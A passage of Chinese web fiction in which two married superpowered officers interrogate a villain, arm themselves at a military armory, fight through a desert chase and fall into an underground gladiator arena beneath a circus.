“四年前,桃榔市局抓捕一贩卖人体器官的团伙,那时候季长岁受到过‘恶作剧’异能侵扰,三年半前,那伙人之中没有落网的人又开始贩毒,他们的主谋就是加兹拉尔,还是桃榔市局,柯帆带人抓捕,季长岁他……在那次行动中被‘恶作剧’蒙蔽,将柯帆认成毒贩,活活打死。” ——这件事情在桃榔市局有明确记录,几乎所有接触过这件事的人都明白,这一切的罪魁祸首是加兹拉尔,季长岁是被骗,并且在那件事中遭受了极大的精神打击。 周观逸继续点头:“我明白了。” “所以绝对不能让加兹拉尔和季长岁接触。”韩瑞说,“季长岁会亲手杀了他。” “他会的。”周观逸点头,“但不是今天。” “不是今天。”季长岁坐在沟通麦克风前,另一段是远在关押区域的加兹拉尔监牢。 加兹拉尔的脸上沟壑很深,他看起来不像正统亚裔,可能有些斯拉夫血统,季长岁不确定。屏幕里的加兹拉尔笑起来,脸上的沟壑更深:“太遗憾了,季长岁,我还以为你会一路走到我的门前,打开它,进来将我揍得满地找牙。” “我说了,不是今天。”季长岁向后靠了靠,状态很轻松,“Silas马戏团居然还在运营,甚至来到了我们国家,所以希拉斯这个人还活着,对吗?” 加兹拉尔听到“Silas”这个名字时稍微有些动容:“希拉斯,你小时候很喜欢他,他从你的书包里变出过一只鸽子。” “嗯。”季长岁点头,“但愿他仍能有哄我开心的能力,好让自己别死得太惨。” 加兹拉尔愣了下,旋即“哈哈哈哈”地笑起来。关押区域24小时不停的释放昏睡物质,含氧量也并不高,所以加兹拉尔笑了那么一会儿后脸色惨白,他坐在床沿缓了好一阵子。 季长岁很有耐心,等着他继续说话。 “没有人能真正的抓到魔术师。”加兹拉尔看着监牢里的监控摄像头,他只能听见季长岁而无法看到,看着那个小小的监控仪器就好像在看季长岁的眼睛。 季长岁神色冷淡:“那就让我们看看他究竟是不是真正的魔术师。” “好吧。所以,你过来只是看看我的笑话吗?” “不,我是告诉你,你旁边那个监牢可能下周就要住进来一位邻居。”季长岁唇角勾着笑,“希望你们有话聊。以及,你用在异能者们身上的伎俩太过拙劣,导致你可能忘了人性最根本的缺陷从来都是人性本身。” “我不明白。”加兹拉尔的声音沙哑。 “你明白的。”季长岁站起来,“三年前你认为让我亲手打死把我养大、视我如亲子的老师,会让我终身待在阴霾里,怀揣着对你无穷的恨意活下去,对吗?事实上我确实这些年过得很糟糕,但是……” 但是出现了一个无论如何都信任我的人,季长岁转了一圈婚戒。那个人会在幽静的谷福村里对天开枪,在精神异能者面前坚称自己没有失控,并且坚定地站在自己这边。 “但是现在结束了。” “……看来你,拥有了一个像柯帆那样的,亲人?”加兹拉尔很擅长从人类的话语中挖掘信息。 “不是。”季长岁否认了,并不是像柯帆,他说,“因为你快死了,是的我只是想来亲口告诉你,你快死了,并不是来跟你讲说我走出来了或者……或者我放下了之类的东西,那些话不是对你说的,太电视剧了你想什么呢。只有你死了,对我来讲才是结束。” “希拉斯在萨奥小镇。”韩瑞把平板电脑推过去,“你会加入抓捕计划吗?周长官?” 韩瑞改了称呼,因为今天,周观逸的特殊作战部部长身份交还给管理局,他恢复了军官身份。 “我要跟季长岁一辆车。”周观逸把平板还回去,“以及,赦免季长岁今天擅自下审讯楼的事情。” “明白。”韩瑞说。 第43章 第43章“厉害吗?” “搞定韩瑞了吗?”季长岁从审讯楼走出来。 “搞定了。”周观逸在审讯楼大门跟他汇合,两人一齐向停车场走。 季长岁看了一眼太阳,傲然高悬在那儿,昨夜是如何的倾盆大雨都与今天无关。他眯了眯眼,从太阳看向周观逸:“你说韩瑞这回算不算得偿所愿,他‘找一个军官给我兜底’的决策真是蛮对的。” 周观逸摸了把裤兜,确认车钥匙在兜里,笑了下:“不过你找他的本意是什么?” “满足一下自己作为胜利者需要猖狂一下的人性需求。”季长岁如实相告,又问,“你今天好点了吗?” “基本正常了。”周观逸说。 他和季长岁一样,从十多岁第一次生理期以来,反应一直都很微弱。他们坐进警车,开往位于昶州西南方向,一个由总军区直接持有的军工装备集团有限公司。 周观逸开车,季长岁扣安全带时“嗯”了声。周观逸发动车子,转头问:“就一个‘嗯’?” “嗯?”季长岁没明白,“那…还需要什么?” “关心一下啊。”周观逸一半在较真一半在开玩笑,“我吊了八百瓶抑制剂。” “哪有八百,八瓶都多了。”季长岁说完,换了个挺严肃的语气,“你…你一般几个月一次?” “两个月。” “好的。” 他记下了。 “谢谢。”周观逸知道他这么问就是打算记下。 进入总军区军工集团需要重重检查,周观逸的身份免去了一些,最后下车安检的过程每人大约一分半钟。 在每个大型城市里都有军工集团的分署点,他们直接听令于总军区,曾有好事者在网上大肆指责这种管理模式——简直是封地藩王啊! 这类声音在网上翻起过一些无关痛痒的小风波,然后就再也没有然后了。 季长岁收回军人递还回来的自己的手机,点头说“谢谢”。安检过后出来,周观逸已经在那儿等了。季长岁揣好手机整理了下警服领带:“虽然有点大逆不道但还是想说,不公平啊,我怎么也是军人家属,愣在那儿检了一分多钟。” 周观逸笑笑:“都这样,上将的老婆孩子过来也是这个流程,更何况你是高阶异能者。” 军工集团基地说是“基地”不如说是“要塞”。单单是季长岁认识的设备就足够让他震惊,走路穿过1号基地区域到旁边的军械库A部,季长岁默默地、很小声地问:“周部长,你的‘火力不足恐惧症’就是在这种情况下患上的吗?” “……”周观逸很无语,“我不是部长了,今天刚撤职。” “哦?”季长岁没想到这么快,“现在怎么称呼。” “叫老公。”周观逸用虹膜开门。 “我靠。”季长岁不仅没叫老公,还“我靠”了一下。 门里面是军工基地的军械库之一,和季长岁幻想中的军械库别无二致,排列整齐的展示架,强迫症无比舒适的,以型号、口径、甚至颜色排列悬挂的弹药,以及最右边的榴弹箱,它们一个摞在另一个上边整齐划一,没有任何一丁点的偏移。 这种规律感会让机械异能者很舒服,季长岁真的在里面做了个深呼吸,仿佛久居城市的人来到山林。周观逸默默递给他一张口罩:“老公,这里边空气其实蛮差的。” “不不不。”季长岁接过来,“这和空气质量已经没有关系了。” “这么舒服吗?” “对。”季长岁戴上口罩,捏了捏鼻梁上的金属条,“太好看了,简直是艺术品展览馆。” 之前季长岁觉得周观逸患有火力不足恐惧症,是因为前阵子他拿过来的武器简直一个比一个荒谬,譬如在喷焰器里加装电磁颗粒这种令人咋舌的强度。但真的走进军械库里,季长岁才恍然——啊,人之常情人之常情,这谁忍得住! 周观逸哭笑不得:“手套也得戴。” “好。” 接着从外边又进来两个人,都穿军装,大家相□□头打过招呼,其中一个瘦点儿的军官说:“这位就是季警官吧?先挑一些枪去试试火力,别忘了装弹也要试试,有的人开火什么的都非常顺畅,但是装弹怎么装怎么别扭。” 季长岁听完笑了:“还真样啊?还有人挑装弹?” “那可不!”军官说,“人嘛,啥样的都有,快挑挑吧。” 今天过来军械库挑武器是为了抓捕希拉斯。由于这个人的情况比较复杂,不像加兹拉尔那样有强有力的口供来当做抓捕理由,比起抓捕,更合适的说法是“调查”。并且这件事儿就像千年的狐狸唱聊斋,你知我知,所谓“调查”也只是走个流程。 希拉斯将会明白这次抓捕的原因,管理局也明白。而马戏团的战斗力尚不明确,所以总军区开放军械库为抓捕小组提供火力支援,季长岁戴好手套,回头:“请问高精狙在哪边?” “那儿。”军官指了个方向。 和周观逸预想的一样,季长岁在军械库里拿的第一把枪,是由雷明顿900改良而来的旋转后拉式栓动狙击枪。 “……天哪。”隔着手套并没有减少季长岁对这把枪的痴迷程度,“周部长,你们军区真的……挺厉害的。” 周观逸:“我们毕竟是总军区。”他重音在最后三个字上,不过显然季长岁没有听,他整个人沉迷在手里的高精狙上。 周观逸非常、非常不合时宜地脑子里冒出一句话叫“认真的男人最帅”虽然说这份“认真”其实是“沉迷”。他有点盲目了,他承认。 “怎么样?”周观逸问,“要多少?这把库存有……30多支吧?”他最后那个问题在跟军官确认。 军官点点头:“没错,35支库存。” “不不……”季长岁盯着这把枪的碳钢枪管,目前的枪械为了成本和轻量化,能用塑料的部分都用塑料,像这样碳钢材质的枪管属实不多见,“给我背5支就够了。” 萨奥小镇位于西部边境,他们此行从东部沿海的昶州几乎穿越整个国家。 与邻国接壤地区是无边无际的沙漠,军用机场位于沙漠北端,那里有一片很大的鸣沙区。此行从昶州组建起的行动小组由23人组成,分为三组,一组七人,两位长官。 军用机场到萨奥小镇有700多公里,其中400公里高速公路,300公里是沙漠行车。 季长岁戴着墨镜,开一辆越野。 风沙很大,需要佩戴面巾,骄阳炙烤着车顶,车里空调是坏的,季长岁干脆降下所有车窗,胳膊搭着,瞄了眼后视镜:“后边又来了。” 周观逸解开安全带侧过身,从后座够过来一把九二式“野鸡脖子”:“收到,警官。” 他说完,推了下墨镜,抱枪探出车窗—— 一串嘭嘭嘭的子弹全部打在后车右前轮,火力猛而精准! 沙漠里开车爆胎几乎没得救,后车前轮失去抓地力后侧滑出去,这里接连不断的沙丘,车险些侧翻,径直从沙地滑下去。 而他们得益于这位机械异能者,车早已耗尽燃油,却稳稳当当地,如船一样在沙丘上前行。 周观逸放回枪,凑过去看了眼仪表盘:“不愧是高阶异能者,没油也能开。” “嗯。”季长岁的手掌心隐隐渗出异能的光,说,“只能稳着开,你要想飙车那不行,发动机受不了。” 周观逸转念一想,忽然悟出了什么:“所以其实在某些意义上,你就是……” “我是能源。”季长岁拎着唇角,笑得轻松潇洒,“在特定条件下,如果有人研发出可以隔空驱动异能的什么媒介,那么我可以在0人员参战的情况下,一人成军,将战争中的所有损失降到最低。” 周观逸哑然。 “厉害吗?”季长岁问。 “厉害。” 第44章 第44章“咱别在执行任务的时候…… 车还在开。两人继续闲聊,就好像刚刚周观逸探出去开枪只是放个彩带烟花。 “靠。”季长岁抱怨,“这面巾没用啊,还是一嘴沙子。” “我也是。”周观逸笑笑,“没办法,沙漠就这样,但是别摘啊,摘了更完蛋。” “我知道。” 越野车翻过一个接一个沙丘,仪表时不时报警燃油不足,季长岁嫌它一会儿就“嘀嘀”想两声挺闹心,用异能把它关了。此行三组人分三个方向包围,季长岁和周观逸走直线过去,两个长官丝毫没有掩饰,就是为了吸引火力。 比如此时此刻,后视镜里又出现两台摩托车。 “欸对了。”季长岁边说边又瞄了眼后视镜,“前阵子,就…就我们去那个贵得肝儿疼得餐厅吃饭那几天,你看起来状态很差,是出什么事儿了吗?” “哦……”周观逸也看了看自己这边的后视镜,回答,“其实也没什么特别的事。” “是吗?”季长岁不再扶方向盘,因为后边追过来的摩托越来越多,远处依稀还看见一辆车顶架着火箭筒张牙舞爪的车,他需要和周观逸一起反击。但没忘追问缘由:“所以是有一些不特别的事?” 周观逸也看见了,他反手越过座椅靠背,摸向车后排地上的Vityaz冲锋枪,说:“真的还…还好,你不必太在意。欸这个怎么空的……季长岁你这种情况了还搞枪弹分离?!” “不是我!”季长岁边反驳边丢给他弹匣,“装上车就是这样,你们军区的人装的。而且为什么我不能在意啊?莫名其妙,一口一个老公你叫得亲,一问你事儿了就喊我大名?” 季长岁说完,两人姿态同步,一左一右从主副驾驶抱枪探出车窗。两把由俄国枪械公司制造、总军区改良生产的冲锋枪在沙漠里开启自动模式开火,委实是相当爽。 烈阳、沙漠、越野、枪击。 素有“精准压制”美称的Vityaz勇士冲锋枪使用俄制7N21穿甲-弹,也就是说在距离足够近的情况下,它能够击穿防弹衣。 这里是无人区。 越野和摩托的交火,在这漫天黄沙中不过像是几颗弹珠碰撞罢了。季长岁的异能在驱动越野车的同时,击退后方三辆摩托,枪口配备了制退器以抑制连续开火时枪口上跳。 季长岁整个人周身都漫出了暗蓝色的异能光,一边驱动着车一边开枪。那边周观逸在补充火力,因为沙漠地质特殊,原本行车难度就比较高,加上异能驱动、火力压制、风沙侵袭,以及——季长岁骂了一句“操”。 他抬头,对方居然有直升机追过来。 周观逸跟着抬头,那架直升机在沙漠腹地无人区的狂风中想在浪潮里飘摇不定,周观逸猜测直升机里或许也有个机械异能者在辅助飞行,否则在这个风速里,寻常直升机连起飞都做不到。 “周观逸!”季长岁叫他全名,“给他干下来!” “明白,警官。”周观逸坐回车里,季长岁默契地给他打开天窗,他放下冲锋枪,在车后排地上和座椅上堆放的枪支弹药里抽出一把小腿粗的火箭筒。 周观逸单手拎着它从天窗爬出去,他的面巾在风里飞出去,卷到半空,顺便带走了季长岁的视线。周观逸的下颌线锐利又干净,甚至季长岁觉得他下颌角折了一下阳光。蛮帅的这位Alpha。 手持精确制导火箭筒,它的优点是便携、可手持,缺点是后坐力极大,不够稳定。 周观逸单膝跪在车顶,火箭筒抗在肩上,找好角度。“轰——!!”那直升机舱腹枪筒刚伸出来,还在瞄准,就在空中炸成了烟花。 “帅啊老公。”季长岁面巾墨镜挡着,不妨碍他笑得猖狂。 “还可以。”周观逸在车顶站起来。 他这一站,八方风来,拎着个刚刚干碎直升机的火箭筒,后边追击的摩托车里有人慌了,车龙头左右摆了几下后摔车,不知是真摔还是为了退场而假摔,总之季长岁坐回来扣上安全带扶了扶墨镜,周观逸也从车顶回来。 “我靠这破车。”季长岁握着方向盘,“天窗关不上了,窗户都关不上了。” “没事没事……反正我已经这样了。”周观逸说。 季长岁转头看了他一眼,扑哧就笑了。 因为面巾飞了,一脸一脑袋的沙子,他抬手拨两下头发,唰唰往下掉。 “你别挠了,掉一车的,这车本来就大大小小的问题,从换挡杆能看见地。”季长岁说。 “但我不挠它也在掉。”周观逸很无辜。 季长岁其实一直在边驱动这辆越野边调试着它,还能抽出空来跟周观逸插科打诨:“这车坏了不用咱们赔吧?要赔我就把车扔这儿了直接报战损。” “车扔这儿,我跟你背着那么多枪徒步走到萨奥?”周观逸拇指向后一点,“那样的话咱们能赶上希拉斯马戏团明年的巡演再巡到这儿来。” 季长岁笃定地点着头,扶方向盘的手越来越轻松随意,其实不必再扶了,这只是个习惯动作,机械异能完全接管了这辆车。他说:“那挺好,明年结婚纪念日就在他那破马戏团里过,他不给我哄开心了我把他全家绑那火圈上烤。” 周观逸摘下墨镜打量着他:“有点凶残吧?” “干嘛,你要往管理局告状吗?” “那怎么可能,你帮帮忙季警官,郭祁从我大脑里掏信息我都否认了你失控,我会告你状?”周观逸瞪着他,“别不敢看我,我知道你开车不用看路。” “那不行,我尊重交通法规。” “这里是无人区。” “撞到野生动物也很罪过,周部长……不对,现在到底怎么称呼?” “你说呢。” “老公。”季长岁笑了,“咱别在执行任务的时候吵这种架成吗?” “我的军衔和中将平级,可以叫周长官。”周观逸说。 “酷啊。” 周观逸笑笑。 沙漠热浪翻腾着,由于四周参照物基本一致,全都是金灿灿的沙丘,让人有一种原地踏步的感觉。卫星GPS的信号断断续续,最长的一次里他们和管理局断联了15分钟。 15分钟里他们下车稍微休息,活动手脚,补给水分。 车里全是枪弹,剩余路程200公里左右,太阳正在西斜,车里的剩余补给还剩两顿,纯净水颠裂了几瓶,就剩一个1.5L的整瓶。季长岁靠在车尾,把那瓶水递给他:“你先喝。” 周观逸在那儿试图找卫星信号,看了他一眼,两人都戴着墨镜,看不出眼睛里什么神情。西斜的太阳威力仍甚,很刺眼。周观逸把通讯器揣回腰包里,犹豫了下后走过来,没说什么,拧开水来喝。 几个钟头在沙漠里行车,这水已经是温热的了。他喝了几口后还给季长岁,季长岁完全没有芥蒂,仰头接着喝。 “怎么样,有信号吗?”季长岁拧上瓶盖。 “不行,但基本方向没错。”周观逸看了眼太阳,“往南走就对了,萨奥小镇在军用机场南边,拿来再给我喝两口。” “……哦。”季长岁递给他。 其实没什么好介意的,从某种意义上来讲,大家坐在一块儿吃饭,拿筷子在一个盘里夹菜,和这样一起喝一瓶水其实没太大区别。季长岁自己也不知道自己刚在想什么,于是周观逸喝了几口他又接过来继续喝。 1.5L的纯净水两个人坐这儿没一会儿就喝光了。 “还是没吗?”季长岁在那儿玩空水瓶,食指点着瓶盖,瓶身倒立着,耍杂技似的保持平衡。 “没。”周观逸转身走回来,“继续走吧,朝着南走没错的。” “嗯。”季长岁把瓶儿往车里一丢,“上车。” 这车靠着异能驱动跑了太久,加上本身老旧,后排左侧车窗已经升不上去了,并且能清晰地听见车窗玻璃在车门里头晃荡。还有它下边底板的平衡杆,季长岁估计它拿胶套都裂完了脱落了,也在当啷当啷地响。 总之处于一种就算开着开着散架了,这俩人都不会有一丁点儿意外。 “所以前阵子你究竟在烦什么?”季长岁还记着。 “……就,一点儿…也不算太烦吧。” “说。”季长岁学他上次对自己的语气,“还有200公里,够你组织语言。” 周观逸哭笑不得:“好吧,我……我前段时间收到总军区的召回通知。就是加兹拉尔和唐枯木关押在管理局的那天,我在总军区是陆军护卫队队长,副队长是沈浪,所以沈浪和我不在的时间里,陆军护卫队就跟着装甲战车队行动执行任务,有一种……他们总归不太舒服吧,作战习性不太一样。总军区希望我回去,我就先把沈浪派回去,但…不是长久之计。” 季长岁听得比较专注,所以异能驱动顿挫了几下,他稍微甩了甩脑袋,集中注意力:“你不想回去?” “不太想。” “为什么?” “说不上来。”周观逸回答。 说完,他偷偷看了眼季长岁。然后一愣。因为他发现季长岁很紧张,非常、非常紧张。周观逸手在他肩膀按了按:“季警官,手稍微松一些,你快把方向盘掰下来了。” “别管。这车没方向盘我也能让它跑。”季长岁这么说着,手上还是松了些力道,“那个,那你,你不可能一直待在外边,肯定要回去的,毕竟是总军区。” “嗯。”周观逸说。 “你有婚假吗?”季长岁忽然问。 周观逸眼睛一亮:“我有。” “你说巧不巧,我也有。”季长岁笑了,“虽然这时候说‘等任务结束我们把婚假放了’有点立Flag的嫌疑,但是我刚刚已经说出来了。” 周观逸一笑:“不怕。” “好。” 第45章 第45章就像是爱丽丝掉进兔子洞…… 车继续向南。 沙漠会随着太阳落山而降温,比热容低就意味着这里升温快降温也快。持续使用这么久的异能,放在普通异能者身上可能第一个小时就精疲力竭,而季长岁已经维持五个小时。 春夏日落时,远处山丘染得像是一座座连绵不绝的、亮晶晶的宝石山。残阳如鲜亮的、质感卓绝的昂贵绸缎伏在山尖,它们像是在诱惑人们深入沙漠,到那片金山去,过去了就都是你的。 季长岁接连不断五个小时驱动着异能行车,两个人如同末日逃亡般在这茫茫看不见尽头的沙丘。他们击毁一架直升机、击退若干摩托车和追击车,看起来希拉斯对于两人的造访并不欢迎。 而又因为卫星信号时有时无,他们并不知道其他组的安危,目前只能向南,争取在入夜以前抵达。 “前面是不是有人?”因为没有车灯,周观逸视野模糊,问道。 “有。”季长岁答,“应该快要靠近镇子了,是赶骆驼和马的人,还有拍照的。” 边境检查口提前接收到了消息,没有对他们车里的任何东西进行核实,两个人从两边车窗伸出手配合提取DNA,那边早有准备,做了最快速的比对之后便放行。 因为萨奥小镇在沙漠腹地,沙层下方有丰富的石油原油矿藏,在镇子上生活的人几乎都是开采人员。这里的吃穿用度都需要从外边运送进来,譬如最基础的蔬菜水果新鲜肉类。所以萨奥小镇并不是一个适合旅游的沙漠城镇,它最多是人们在沙漠里拍摄风光大片时可以落脚的一个地方。 没有什么景点,也不设立任何和“网红”沾边的元素,尤其多年前萨奥战役之后,这里更是被总军区直接镇守。 “总军区陆军护卫队周观逸。”周观逸下车,关上车门,那车门其实关不上,是季长岁在里边用异能吸附着。 萨奥镇检查站的军官跟他敬礼:“三十五分钟前收到放行命令,需要对您车辆进行检查,请配合。” “好的。”周观逸走到主驾驶这边,敲敲车门,靠过来。 季长岁的墨镜挂在领口,胳膊搭上窗沿,抬头调侃他:“怎么回事,我们周长官的车也要安检吗?” “……”周观逸想笑又得憋着,毕竟前头一排士兵站着在看,“下…下车,要过安检的,他们要核实我们上报的枪支数量和剩余弹药。” 听这话,季长岁隐隐有些紧张:“等下,他们知道我们是执行任务吧?” “放心,知道的,只是任务内容没告知。”周观逸帮他打开车门,“还有这车……这车还要吗?” 季长岁解开安全带跳下来,义正词严:“当然要啊,管理局给的车,你不带给韩瑞带回去,他能去总军区大院前边跪着哭一宿。” 这太夸张。 以正规程序进入萨奥小镇就是这个流程。安检军官清点了他们车里的枪支弹药之后,帮他们将这些物资转移到一辆SUV里,让他们开这辆车继续进入小镇。 和另外三组人员终于联系上了,第一组在他们之前抵达小镇,第二组临近目的地,第三组在镇外防守。 越靠近镇中心,路边的广告牌越多。五彩灯泡裹着一个个巨大的指路箭头,箭头灯箱上写着“Silas马戏团巡演”装饰着小丑和扑克牌。季长岁在副驾驶叼着袋装能量饮料,晚风里卷着沙子,他这袋喝完,空袋子搁在车里杯架上,又拆一袋。 “渴了?”周观逸问。 “有点儿。”季长岁回头看了眼后座上堆着的枪,“他们这个马戏团人气这么高吗?我看到不下十个广告标了。” 周观逸在开着车,因为车多路窄,越进镇子里越慢。 周观逸想了想,说:“可能国家人口基数太大,所以其实在领土之上,没有真正的‘小众’吧。其实我也挺意外的,这么多人……我们在这儿开火的话会不会骚乱太大。” “会。”季长岁点头,“把群众疏散走都需要一阵子,这里又是边境,搞不好会有一些势力趁火打劫。” 而最重要的,这次是秘密行动,要尽量缩小影响范围。这个社会为了维持异能者和普通人之间的平衡付出了相当大的代价,所以昶州的失控异能者事件处理上既严密又紧急。 慢慢地堵起来了。路两侧十分热闹,因为小镇招待能力有限,停车场有不少野营帐篷,人们订不着宾馆,就在有公共洗手间的地方扎营,为了来看马戏团巡演也是拼尽全力。 周观逸终于也忍不住了:“马戏团有这么好看吗?马戏团不就是……好吧我没看过马戏团。” “噗。”季长岁那袋能量饮料刚喝一半,“咳咳咳咳咳咳咳。” 周观逸被他这动静吓一跳,左手扶着方向盘右手伸过去在他胳膊上拍了拍:“呛着了?” 季长岁缓了一下,说:“我还在等着你给我讲马戏团是什么样的,结果你来了句没看过。以及你拍我胳膊的作用是什么?” 周观逸笑了:“那你也不至于被呛成这样吧警官…拍胳膊是因为我拍不着你后背。……开不过去了,要找地方停车。” “找。”季长岁降下车窗,在这里能听见音乐声,不远不近,“要是有DJ蹦迪就好了。” “为什么?”周观逸不解。 “那样的话我们只要踩在鼓点上开枪,民众们就会觉得是音乐的一部分。” “……”周观逸打转向灯,赶在前边一辆掉头过来的车之前抢占了右边的车位,但情况过于紧急,车屁股扭得早了,没给车头留够侧方停进来的空间。周观逸可怜兮兮地看着季长岁:“老公,你能把车平移进去吗?或者我前轮不动,把车身再掰斜一点。” 季长岁放下饮料袋子,笑得有点爽,没说话,手按在车门上。接着这SUV鬼鬼祟祟地挪了几下,给周观逸调整出一个容易停进去的空间。 “那车主估计在车里骂我呢。”周观逸熄火,笑笑。 “给他骂呗。”季长岁摁开安全带,“开车上路不骂骂人不得憋死了。走。” 季长岁的机械异能几秒拆了两把步枪,后边还有两个旅行包,两人从里面拽出外套穿在防弹衣外边,佯装是过来凑热闹的游客。 “走这边。”季长岁伸手拉了他一下,人很多而且挤,有几下季长岁人过来了,包被卡在人群里。 “还是这边吧。”周观逸反客为主握紧他手,将他往自己这边拽……结果两个人都是旅行包跟别人的卡住。没办法,他们包里都是枪管枪身枪托和弹匣,又大又重。 小镇主干道上全是行人,沿街两条长长的摊贩在卖马戏团的各种周边,发光的头箍、气球、糖果各种各样。 两个人戴上做成无线耳机外形的通讯器,联络上了A组的人。陶诚:“RadioCheck,季警官周部长,我组7人在萨奥镇东侧外电塔上方观察。” “明白。”季长岁说,“我和周部长正在靠近,人太多了。” 话音刚落,周围人忽然爆炸似的同时欢呼大叫。季长岁一惊,感觉手里一直攥着的周观逸的手也紧了紧。 他跟着人群抬头,原来是马戏团的无人机表演开始了。人们欢欣地拿出手机拍摄,周观逸也终于贴到他身边,提醒他:“拿手机拍,别像过来巡逻的。” “哦。”季长岁掏了半天把手机掏出来,解锁,打开相机。取景框里出现五彩卷发的小丑,一会儿笑一会儿哭。然后一只眼睛笑,一只眼睛哭,最后“嘭”,变魔术似的,所有无人机一个个爆出白烟—— “哇——!!”有人欢呼,“魔术师!!” 无人机最后组成大部分人印象里魔术师的形象,高礼帽,黑披风,几张扑克牌环绕在身边。短短一分多钟的无人机表演结束后,从马戏团帐篷顶端传出广播声:“亲爱的观众们,希拉斯马戏团1号帐篷的演出将在十五分钟后开始,请所有朋友有序持票入场!” 马戏团的票是传统的纸质票,但不知他们用了什么办法,这附近并没有出现“旁友,票子要伐”的那类群体。 他们继续跟着人群向前走,叮叮咚咚地响了一路的欢快音乐越靠近马戏团音量越大,空气中明显地出现了酒香,果木风味的酒,混杂着淡淡的,要仔细分辨才能嗅出的花果Omega信息素。他们的手仍牵在一起,从一开始的人多易走丢,到现在的,坚定住彼此的状态。 出现Omega信息素并不能断定马戏团里有x交易情况,用人工合成的信息素作为助兴,在许多娱乐场所里很常见。今夜是个残月夜,整个小镇像是巨大的Party现场,他们走到了检票口。 “先生们,请将包放在履带上。”工作人员穿得像个紫色小精灵,长长的耳朵,背着半透明的翅膀。 “好的。”季长岁先放。放下去的同时,手指在履带上点了一下,装着一把拆解开来的高精狙顺利通过安检机器。周观逸的也是。 希拉斯包下了小镇上唯一的大型广场,进来正前方,最大的1号帐篷是深紫色,帐篷顶贴着许多发光的星星。 在季长岁视野所及的范围内,1号帐篷设立在正中央,5个帐篷半包着它。在这片区域里动感的音乐中时不时出现无人机投射在夜空中的字幕:魔术表演倒计时9分41秒。 40秒…… 39秒…… “先去1号帐篷。”季长岁说,“希拉斯自己也是个魔术师。” 马戏团的工作人员一人把着半边门帘,人们攥着手里的票鱼贯而入。里面没有开灯,黑洞洞的,像是走进无边暗夜。 在踏进1号帐篷的第一步时,季长岁惊觉不对劲。 但已经来不及了。 他们脚下的两块地砖在踩下去的瞬间变松动,人太多,人们躁动着好奇地向里面张望,而帐篷里又太黑,不知帐篷门口用了什么异能,季长岁猜测可能是结界。 总之,他跟周观逸齐齐下落。 就像是爱丽丝掉进兔子洞。 幸运的是他们一直没有松手,季长岁释放出大量异能光,企图在下落的过程中用外放的异能感知到什么机械物体—— 他成功了。 “周观逸,抓紧点!” 但他找到的是一根……机械触须。 “噫。”季长岁有点嫌弃。他控制这根触须裹住周观逸的腰,自己翻身踩上去,接着卸下旅行包,里面的高精狙被他拿出来的同时完成组装,行云流水。 枪下灯亮起的同时,机械触须的前方,一只紫色的眼睛睁开来,跟他对视着。 “它是萨奥3号。”周观逸从触须里挣出来,一起踩到触须上,“萨奥战役之后,总军区遗落在这里的一种战斗机甲。” “什么?”季长岁不解,回头,“你们还做了战斗机甲?” “……”周观逸先收声,“是机密。但是,它已经报废很多年了。” “不对啊。”季长岁说,“它有能源,现在就有。” 下一刻。 下方传来鼓掌声,一道追光灯砸过来,嘭嘭两下,照得两人同时闭了闭眼睛。 季长岁睁眼,下边约十多米是地面,它是个圆形的“凹”下去的厅。类似斗兽场的建筑,环形台阶上几乎满座,人们佩戴着假面装饰遮住眼睛,无一不盛装出席。 这根触须忽然一甩,两人被甩到斗兽场正中心,摔得相当狠,震起了地上一片烟尘。季长岁爬起来,看了眼周观逸。 “角斗士大奖赛第一轮!!开始!!!”广播喊道。 观众欢呼。 有人朝他们砸金币,有人释放高浓度信息素,有人在观众席做.爱,有人在吸毒。 □□迷醉的地方。 然后从他们正前方的铁栅门里,一只半熊半机械的造物慢慢走了出来。 “周观逸。” “嗯?” “它应该不是保护动物吧?” 要不是不合时宜,周观逸真的差点笑出来,都这个时候了他还在考虑保护动物的问题。 “季警官,有一种东西叫做‘紧急避险’。” “有道理。”季长岁点头。 第46章 第46章再次睁眼气定神闲。…… 半机械熊目测有两米多高,它从栅栏门后走出来时铺面而来一股炎炎夏日里许多天无人处理的垃圾桶味儿。 这个现场有解说、灯光、分数榜,甚至还有保安在维护持续。 季长岁很是纳闷——因为他眼睁睁看着一个保安抢走了穿青蛙服的男人手里吃一半的果冻,狠狠砸进垃圾桶并指责他在表演期间进食——可是大哥,你身后、正后方,有个正在拿注射器打毒品的神经病啊!你要不要也管管他呢?! 随着那棕熊走出来,现场的音乐被换成重金属摇滚,震耳欲聋,来自什么什么骑士乐队,季长岁看见了半空中投屏一闪而过的广告。 旁边周观逸碰了碰他胳膊:“是人,不是熊。” 季长岁立刻理解了他这话的意思,地下斗兽场灯光乱七八糟,和几乎要把人从地上弹起来的音乐一齐侵扰着人的判断力。于是季长岁再次打量棕熊:“是,是人。穿在熊皮里。” 棕熊的四肢部分做了外骨骼机甲改装,爪子像是数根匕首,上边沾有一些人体组织,似乎是上一场战斗的胜利勋章。 两米多的熊皮人很规矩地走到地上白点处。周观逸又说:“我拖住他,你在附近找一下重新回去地面的……” 话没说完,只听一道枪声——不是他们的枪,两只书包在下落的过程中被勾走,季长岁和周观逸顿时意识到这大约是战斗开始的信号。 二人极为敏锐的作战反应能力几乎是在0.01秒内判定出枪响的地方,位于棕熊人走出来的门上方,那上面有一个独立看台,枪口还冒着烟。而这发子弹射杀的人……季长岁瞬息之间分析出弹道,循着它在空气中残留的轨迹,一切如倍速慢放,他的刘海扫过脸颊,转过头的同时,观众席上吸毒的男人被刚刚的子弹爆头,惨死在那儿。 “oh。”开枪的人仍站在那看台上,他是个侏儒,食指勾着手枪扳机,耸耸肩,又一次靠近话筒,“稍等稍等,我亲爱的客人们,讲了很多次啦,不准吸烟,不准吸毒,做-爱不要影响到其他人哦~” 很明显,违者射杀。 不得不说,这枪打过去季长岁莫名觉得蛮舒爽的。有一种……他承认,有一种他比较向往的执法方式。因为第二枪,那侏儒又杀了个做完爱点烟的。侏儒叹气:“总有人听不明白,为什么呢,是我的话不够简洁吗?” 没有,你的话非常简洁,季长岁想,论迹论心你都是真君子,就这一刻。 下一刻,侏儒重新按下话筒前的红色按钮:“好了,大奖赛第一轮开始!!” “呜啊——!!!”熊人怒吼一声奔袭而来! 季长岁和周观逸同时撤步各闪一边,二人对视一眼,向对方点头,接着同步前扑,一人制住一只熊爪。这棕熊人力道骇人,直接各提起他们整个人,举离地面,打算一手一个拎起来直接相撞! 季长岁尝试过用异能控制棕熊的机械部件,但那些部件之间被设置了保护装置,他必须在静止状态下持续驱动一会儿才能控制。 